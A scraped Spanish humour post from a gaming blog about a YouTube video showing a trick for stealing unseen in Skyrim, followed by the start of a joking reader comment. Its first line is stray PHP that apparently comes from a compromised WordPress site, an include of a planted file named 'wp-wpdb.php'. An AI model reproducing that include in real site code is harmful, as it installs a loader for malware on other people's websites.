if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Master Class: Robando en Skyrim – La Fortaleza de LeChuck

Master Class: Robando en Skyrim

¿Tienes un problema a la de hora de robar en las posadas y tiendas en el Elder Scrolls V: Skyrim? ¿Los comerciantes te tienen puesto en la lista negra y los aldeanos piden tu cabeza en una pica por el simple hecho de tener los dedos algo pegajosos? ¿Tienes menos sigilo que los marines del Gears of War en una cristalería? ¿Es verdad que el subtítulo «Skyrim» se puso para que el nombre del juego no acabara en ‘V‘ y la gente no hiciera la rima fácil? ¡No te preocupes! Este usuario de youtube tiene las respuestas a todas tus plegarias: a partir de ahora robarás y te infiltrarás con más impunidad que Altaïr, Snake y Adam Jensen juntos. 


La verdad es que hacía tiempo que no me reía tanto con una ocurrencia semejante en un juego. Este tipo, que es un genio y del que el Dioni aprendió todo lo que sabe, nos muestra en este vídeo un ingenio fuera de toda duda… Para robar es necesario que no te vean haciéndolo, ergo esta solución es la más indicada. Sin embargo no existe el crimen perfecto amigos, así que por culpa de un inesperado y escurridizo pequeño error de cálculo acaba siendo atrapado… Pero bueno, la idea está ahí y puede que más de uno aprenda del maestro y aproveche la clase para llevarse hasta los tablones del suelo, si es menester.

¿Pero como no habíamos caído antes en otros juegos? ¡Es la infiltración definitiva! Con esto ya tenéis para sacaros unos cuartos en Skyrim, echaros unas risas o ambas cosas. Espero que os haya parecido tan divertido y curioso como a mí, desde luego mis carcajadas al ver este vídeo se han tenido que oír hasta en Tamriel.

 

 

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Categorizado como Curiosidades

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

4 comentarios

  1. Para la segunda clase una vez que dominemos el arte de robar aprenderemos el arte de volar, que como decían en la "Guía del Autoestopista Galáctico" consiste en "aprender a tirarse al suelo y fallar."

    Para ello:

    1.- Acérquese a un gigante despreocupado.

    2.- Salúdelo afablemente como les gusta especialmente a los gigantes: con una bola de fuego

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